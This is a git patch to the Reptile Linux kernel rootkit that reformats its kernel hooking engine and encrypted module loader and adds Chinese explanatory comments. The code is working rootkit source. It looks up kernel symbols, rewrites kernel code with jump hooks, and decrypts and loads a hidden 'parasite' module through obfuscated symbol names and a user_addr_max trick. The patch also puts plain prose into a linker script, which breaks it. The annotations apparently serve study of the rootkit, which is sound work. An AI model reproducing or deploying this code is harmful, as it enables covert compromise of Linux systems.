From 0b5f28d2b049627ba71d2d17659691aed6744aca Mon Sep 17 00:00:00 2001 From: waiwai <3027307205@qq.com> Date: Wed, 20 Nov 2024 21:01:06 +0800 Subject: [PATCH] zrs 11.20 label --- src/Reptile/kernel/khook/engine.c | 229 +++++++++++-------- src/Reptile/kernel/khook/engine.h | 16 ++ src/Reptile/kernel/khook/engine.lds | 5 + src/Reptile/kernel/khook/internal.h | 5 + src/Reptile/kernel/khook/x86/hook.c | 33 ++- src/Reptile/kernel/kmatryoshka/kmatryoshka.c | 110 +++++---- 6 files changed, 256 insertions(+), 142 deletions(-) diff --git a/src/Reptile/kernel/khook/engine.c b/src/Reptile/kernel/khook/engine.c index d54d889..710b49c 100644 --- a/src/Reptile/kernel/khook/engine.c +++ b/src/Reptile/kernel/khook/engine.c @@ -3,151 +3,200 @@ static khook_stub_t *khook_stub_tbl = NULL; //////////////////////////////////////////////////////////////////////////////// - +/* + * 内核符号表查找函数callback function + * 通过遍历data数组中的元素,并与name字符串进行比较 + * 如果找到匹配的元素,则将data数组的第二个元素设置为addr,并返回1 + * 如果遍历完整个数组仍然没有找到匹配的元素,则返回0 + */ static int khook_lookup_cb(long data[], const char *name, void *module, long addr) { - int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { - if (!name[i++]) return !!(data[1] = addr); - } return 0; + int i = 0; + while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) return !!(data[1] = addr); // 找到匹配的符号,设置地址并返回1 + } + return 0; // 未找到匹配的符号,返回0 } +/* + * 利用kallsyms_on_each_symbol可以查询符号表,只需要传入查询函数就可以了 + * data[0]表示要查询的地址 + * data[1]表示结果 + * kernel all symbols 内核符号表 + */ static void *khook_lookup_name(const char *name) { - long data[2] = { (long)name, 0 }; - kallsyms_on_each_symbol((void *)khook_lookup_cb, data); - return (void *)data[1]; + long data[2] = { (long)name, 0 }; + kallsyms_on_each_symbol((void *)khook_lookup_cb, data); + return (void *)data[1]; // 返回找到的符号地址 } +/* + * 将一个虚拟地址范围[addr, addr + len]映射到 可写 内核内存区域 + */ static void *khook_map_writable(void *addr, size_t len) { - struct page *pages[2] = { 0 }; // len << PAGE_SIZE - long page_offset = offset_in_page(addr); - int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE); - - addr = (void *)((long)addr & PAGE_MASK); - for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) { - if ((pages[i] = is_vmalloc_addr(addr) ? - vmalloc_to_page(addr) : virt_to_page(addr)) == NULL) - return NULL; - } - - addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); - return addr ? addr + page_offset : NULL; + struct page *pages[2] = { 0 }; // len << PAGE_SIZE + long page_offset = offset_in_page(addr); + int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE); + + addr = (void *)((long)addr & PAGE_MASK); // 对齐地址到页面边界 + for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) { + if ((pages[i] = is_vmalloc_addr(addr) ? + vmalloc_to_page(addr) : virt_to_page(addr)) == NULL) + return NULL; // 如果无法获取页面,返回NULL + } + + addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); // 映射页面到内核地址空间 + return addr ? addr + page_offset : NULL; // 返回映射后的地址 } //////////////////////////////////////////////////////////////////////////////// #ifdef CONFIG_X86 -# include "x86/hook.c" +# include "x86/hook.c" // 包含x86架构相关的钩子实现 #else -# error Target CPU architecture is NOT supported !!! +# error Target CPU architecture is NOT supported !!! // 不支持的CPU架构 #endif //////////////////////////////////////////////////////////////////////////////// +/* + * 唤醒所有进程 + */ static void khook_wakeup(void) { - struct task_struct *p; - rcu_read_lock(); - for_each_process(p) { - wake_up_process(p); - } - rcu_read_unlock(); + struct task_struct *p; + rcu_read_lock(); + for_each_process(p) { + wake_up_process(p); // 唤醒进程 + } + rcu_read_unlock(); } +/* + * 初始化所有钩子 + */ static int khook_sm_init_hooks(void *arg) { - khook_t *p; - KHOOK_FOREACH_HOOK(p) { - if (!p->target.addr_map) continue; - khook_arch_sm_init_one(p); - } - return 0; + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr_map) continue; + khook_arch_sm_init_one(p); // 初始化单个钩子 + } + return 0; } +/* + * 清理所有钩子 + */ static int khook_sm_cleanup_hooks(void *arg) { - khook_t *p; - KHOOK_FOREACH_HOOK(p) { - if (!p->target.addr_map) continue; - khook_arch_sm_cleanup_one(p); - } - return 0; + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr_map) continue; + khook_arch_sm_cleanup_one(p); // 清理单个钩子 + } + return 0; } +/* + * 解析所有钩子的目标地址 + */ static void khook_resolve(void) { - khook_t *p; - KHOOK_FOREACH_HOOK(p) { - p->target.addr = khook_lookup_name(p->target.name); - } + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + p->target.addr = khook_lookup_name(p->target.name); // 查找符号地址 + } } +/* + * 映射所有钩子的目标地址到可写内存区域 + */ static void khook_map(void) { - khook_t *p; - KHOOK_FOREACH_HOOK(p) { - if (!p->target.addr) continue; - p->target.addr_map = khook_map_writable(p->target.addr, 32); - khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map); - } + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr) continue; + p->target.addr_map = khook_map_writable(p->target.addr, 32); // 映射地址 + khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map); + } } +/* + * 取消映射所有钩子的目标地址 + */ static void khook_unmap(int wait) { - khook_t *p; - KHOOK_FOREACH_HOOK(p) { - khook_stub_t *stub = KHOOK_STUB(p); - if (!p->target.addr_map) continue; - while (wait && atomic_read(&stub->use_count) > 0) { - khook_wakeup(); - msleep_interruptible(1000); - khook_debug("waiting for %s...\n", p->target.name); - } - vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); - p->target.addr_map = NULL; - } + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + khook_stub_t *stub = KHOOK_STUB(p); + if (!p->target.addr_map) continue; + while (wait && atomic_read(&stub->use_count) > 0) { + khook_wakeup(); // 唤醒进程 + msleep_interruptible(1000); // 休眠1秒 + khook_debug("waiting for %s...\n", p->target.name); + } + vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); // 取消映射 + p->target.addr_map = NULL; + } } //////////////////////////////////////////////////////////////////////////////// - +/* khook_init()和khook_cleanup()对挂钩引擎进行初始化和注销 */ + +/* + * 初始化挂钩引擎 + * 1. malloc分配内存空间用于存储钩子函数的桩(stub) + * 2. khook_resolve查找并解析内核符号表 + * 3. 映射目标地址到可写的内核内存区域 + * 4. 调用stop_machine函数,将钩子函数的初始化工作交给内核调度器执行 +*/ int khook_init(void) { - void *(*malloc)(long size) = NULL; - int (*set_memory_x)(unsigned long, int) = NULL; + void *(*malloc)(long size) = NULL; + int (*set_memory_x)(unsigned long, int) = NULL; - malloc = khook_lookup_name("module_alloc"); - if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL; + malloc = khook_lookup_name("module_alloc"); + if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL; - khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE); - if (!khook_stub_tbl) return -ENOMEM; - memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE); + khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE); + if (!khook_stub_tbl) return -ENOMEM; + memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE); - // - // Since some point memory allocated by module_alloc() doesn't - // have eXecutable attributes. That's why we have to mark the - // region executable explicitly. - // + // + // Since some point memory allocated by module_alloc() doesn't + // have eXecutable attributes. That's why we have to mark the + // region executable explicitly. + // - set_memory_x = khook_lookup_name("set_memory_x"); - if (set_memory_x) { - int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE; - set_memory_x((unsigned long)khook_stub_tbl, numpages); - } + set_memory_x = khook_lookup_name("set_memory_x"); + if (set_memory_x) { + int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE; + set_memory_x((unsigned long)khook_stub_tbl, numpages); + } - khook_resolve(); + khook_resolve(); // 解析符号表 - khook_map(); - stop_machine(khook_sm_init_hooks, NULL, NULL); - khook_unmap(0); + khook_map(); // 映射地址 + stop_machine(khook_sm_init_hooks, NULL, NULL); // 初始化钩子 + khook_unmap(0); // 取消映射 - return 0; + return 0; } +/* + * 注销挂钩引擎 + * 1. 映射目标地址到可写的内核内存区域 + * 2. 调用stop_machine函数,将钩子函数的清理工作交给内核调度器执行 + * 3. 取消映射目标地址 + * 4. 释放分配的内存空间 + */ void khook_cleanup(void) { - khook_map(); - stop_machine(khook_sm_cleanup_hooks, NULL, NULL); - khook_unmap(1); - vfree(khook_stub_tbl); -} + khook_map(); // 映射地址 + stop_machine(khook_sm_cleanup_hooks, NULL, NULL); // 清理钩子 + khook_unmap(1); // 取消映射 + vfree(khook_stub_tbl); // 释放内存 +} \ No newline at end of file diff --git a/src/Reptile/kernel/khook/engine.h b/src/Reptile/kernel/khook/engine.h index 46237b2..be8605e 100644 --- a/src/Reptile/kernel/khook/engine.h +++ b/src/Reptile/kernel/khook/engine.h @@ -4,6 +4,15 @@ #define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count +/* + * 内核钩子结构体 + * fn:钩子函数 + * name:符号名字 + * addr:符号地址 + * addr_map:符号地址被映射的虚拟地址 + * orig:原函数 + */ + typedef struct { void *fn; // handler fn address struct { @@ -15,6 +24,13 @@ typedef struct { unsigned long flags; // hook engine options (flags) } khook_t; +/* + * 格式规定:假设原函数名字为fun,则自定义的fun的钩子函数名字必须为khook_fun + * 编译器选项: + * __attribute__((unused)表示可能不会用到 + * __attribute__((aligned(1)))表示一字节对齐 + * __attribute__((section(".data.khook")))表示这个结构需要被分配到.data.khook节中 + */ #define KHOOK_(t, f) \ static inline typeof(t) khook_##t; /* forward decl */ \ khook_t \ diff --git a/src/Reptile/kernel/khook/engine.lds b/src/Reptile/kernel/khook/engine.lds index ab37384..682db9c 100644 --- a/src/Reptile/kernel/khook/engine.lds +++ b/src/Reptile/kernel/khook/engine.lds @@ -6,3 +6,8 @@ SECTIONS KHOOK_tbl_end = . ; } } + +In engine.c, all hooks are allocated to the .data.khook section. +The above script means that all contents of .data.khook are placed in the .data section. +The '.' character represents the current location counter, so KHOOK_tbl points to the beginning of .data.khook, and KHOOK_tbl_end points to the end of KHOOK_tbl_end. +These two variables represent the start and end addresses of the hook table, KHOOK_tbl and KHOOK_tbl_end. \ No newline at end of file diff --git a/src/Reptile/kernel/khook/internal.h b/src/Reptile/kernel/khook/internal.h index 3d840d3..72c10ec 100644 --- a/src/Reptile/kernel/khook/internal.h +++ b/src/Reptile/kernel/khook/internal.h @@ -20,6 +20,11 @@ extern khook_t KHOOK_tbl_end[]; #define KHOOK_FOREACH_HOOK(p) \ for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++) +/* + * 一个钩子函数一定会有一个STUB + * 而这个STUB会被初始化为stub.inc或stub32.inc。也就是stub的模板 + * 将原始数据和钩子数据存储在同一个结构体中 + */ typedef struct { #pragma pack(push, 1) union { diff --git a/src/Reptile/kernel/khook/x86/hook.c b/src/Reptile/kernel/khook/x86/hook.c index ae4076e..7910004 100644 --- a/src/Reptile/kernel/khook/x86/hook.c +++ b/src/Reptile/kernel/khook/x86/hook.c @@ -6,11 +6,19 @@ #include +/* + * typeof 是 GCC的一个扩展关键字 + * 它用于在预处理阶段确定一个变量或表达式的类型 + * 而不需要实际创建该变量或表达式的实例 + */ static struct { typeof(insn_init) *init; typeof(insn_get_length) *get_length; } khook_arch_lde; +/* + *初始化函数,用于查找并初始化 insn_init 和 insn_get_length 函数的地址 + */ static inline int khook_arch_lde_init(void) { khook_arch_lde.init = khook_lookup_name("insn_init"); if (!khook_arch_lde.init) return -EINVAL; @@ -19,6 +27,11 @@ static inline int khook_arch_lde_init(void) { return 0; } +/* + * 获取地址p的指令的长度 + * 先调用insn_init获得insn结构 + * 然后调用get_length得到指令长度,结果存放在insn的length字段 + */ static inline int khook_arch_lde_get_length(const void *p) { struct insn insn; int x86_64 = 0; @@ -39,8 +52,8 @@ static inline int khook_arch_lde_get_length(const void *p) { // place a jump at addr @a from addr @f to addr @t static inline void x86_put_jmp(void *a, void *f, void *t) { - *((char *)(a + 0)) = 0xE9; - *(( int *)(a + 1)) = (long)(t - (f + 5)); + *((char *)(a + 0)) = 0xE9; //跳转指令的Opcode + *(( int *)(a + 1)) = (long)(t - (f + 5)); //偏移计算 } static const char khook_stub_template[] = { @@ -52,20 +65,26 @@ static inline void stub_fixup(void *stub, const void *value) { *(long *)stub = (long)value; } +/* + * 初始化一个钩子 + * 使其能够在特定条件下跳转到新的函数地址 + * 同时保留原始指令以便在需要时恢复 + */ static inline void khook_arch_sm_init_one(khook_t *hook) { khook_stub_t *stub = KHOOK_STUB(hook); + // 跳转指令的第一个字节是0xE9或0xCC,表示已经被hook过了 if (hook->target.addr[0] == (char)0xE9 || hook->target.addr[0] == (char)0xCC) return; BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes)); - memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); + memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); // 拷贝模板到stub中 stub_fixup(stub->hook, hook->fn); while (stub->nbytes < 5) stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes); - memcpy(stub->orig, hook->target.addr, stub->nbytes); - x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); + memcpy(stub->orig, hook->target.addr, stub->nbytes); // 拷贝hook原函数到stub的orig中 + x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); // 设置跳转 if (hook->flags & KHOOK_F_NOREF) { x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn); } else { @@ -74,6 +93,10 @@ static inline void khook_arch_sm_init_one(khook_t *hook) { hook->orig = stub->orig; // the only link from hook to stub } +/* + * 清理一个钩子 + * 将目标地址恢复为原始指令 + */ static inline void khook_arch_sm_cleanup_one(khook_t *hook) { khook_stub_t *stub = KHOOK_STUB(hook); memcpy(hook->target.addr_map, stub->orig, stub->nbytes); diff --git a/src/Reptile/kernel/kmatryoshka/kmatryoshka.c b/src/Reptile/kernel/kmatryoshka/kmatryoshka.c index ef35a4a..a9f1a1c 100644 --- a/src/Reptile/kernel/kmatryoshka/kmatryoshka.c +++ b/src/Reptile/kernel/kmatryoshka/kmatryoshka.c @@ -9,76 +9,92 @@ #include "encrypt.h" +// 定义 SYS_INIT_MODULE 宏,用于生成 "sys_init_module" 字符串 #define SYS_INIT_MODULE \ - ({ \ - unsigned int *p = __builtin_alloca(16); \ - p[0] = 0x5f737973; \ - p[1] = 0x74696e69; \ - p[2] = 0x646f6d5f; \ - p[3] = 0x00656c75; \ - (char *)p; \ - }) - + ({ \ + unsigned int *p = __builtin_alloca(16); \ + p[0] = 0x5f737973; \ + p[1] = 0x74696e69; \ + p[2] = 0x646f6d5f; \ + p[3] = 0x00656c75; \ + (char *)p; \ + }) + +// 定义 __DO_SYS_INIT_MODULE 宏,用于生成 "__do_sys_init_module" 字符串 #define __DO_SYS_INIT_MODULE \ - ({ \ - unsigned int *p = __builtin_alloca(24); \ - p[0] = 0x6f645f5f; \ - p[1] = 0x7379735f; \ - p[2] = 0x696e695f; \ - p[3] = 0x6f6d5f74; \ - p[4] = 0x656c7564; \ - p[5] = 0x00000000; \ - (char *)p; \ - }) - + ({ \ + unsigned int *p = __builtin_alloca(24); \ + p[0] = 0x6f645f5f; \ + p[1] = 0x7379735f; \ + p[2] = 0x696e695f; \ + p[3] = 0x6f6d5f74; \ + p[4] = 0x656c7564; \ + p[5] = 0x00000000; \ + (char *)p; \ + }) + +// 包含 parasite_blob.inc 文件中的数据 static char parasite_blob[] = { #include "parasite_blob.inc" }; +// 内核符号表查找函数的回调函数 static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, - unsigned long addr) + unsigned long addr) { - int i = 0; - while (!module && (((const char *)data[0]))[i] == name[i]) { - if (!name[i++]) - return !!(data[1] = addr); - } - return 0; + int i = 0; + while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) + return !!(data[1] = addr); // 找到匹配的符号,设置地址并返回1 + } + return 0; // 未找到匹配的符号,返回0 } +// 查找符号表中的符号地址 static inline unsigned long ksym_lookup_name(const char *name) { - unsigned long data[2] = {(unsigned long)name, 0}; - kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); - return data[1]; + unsigned long data[2] = {(unsigned long)name, 0}; + kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中 + return data[1]; // 返回找到的符号地址 } +/* + * init_module函数的系统调用处理函数sys_init_module + * 它是一个导出函数,通过ksym_lookup_name得到该函数的地址 + */ int init_module(void) { - int ret = -EINVAL; - asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL; + int ret = -EINVAL; + asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL; - do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY); + // 解密 parasite_blob 数据 + do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY); - sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE); + // 查找 sys_init_module 函数的地址 + sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE); - if (!sys_init_module) - sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE); + if (!sys_init_module) + sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE); - if (sys_init_module) { - const char *nullarg = parasite_blob; - unsigned long seg = user_addr_max(); + if (sys_init_module) { + const char *nullarg = parasite_blob; + unsigned long seg = user_addr_max(); - while (*nullarg) - nullarg++; + // 找到 parasite_blob 中的空字符 + while (*nullarg) + nullarg++; - user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE); - if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha - user_addr_max() = seg; - } + // 设置用户地址空间的最大值 + user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE); + if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha + user_addr_max() = seg; // 恢复用户地址空间的最大值 + } - return ret; + return ret; } +/* + * 表示该模块是内核树的一部分,即它是内核的内置模块,而不是一个外部模块。当内核配置为包含该模块时,它将被编译并包含在内核二进制文件中 + */ MODULE_LICENSE("GPL"); -MODULE_INFO(intree, "Y"); +MODULE_INFO(intree, "Y"); \ No newline at end of file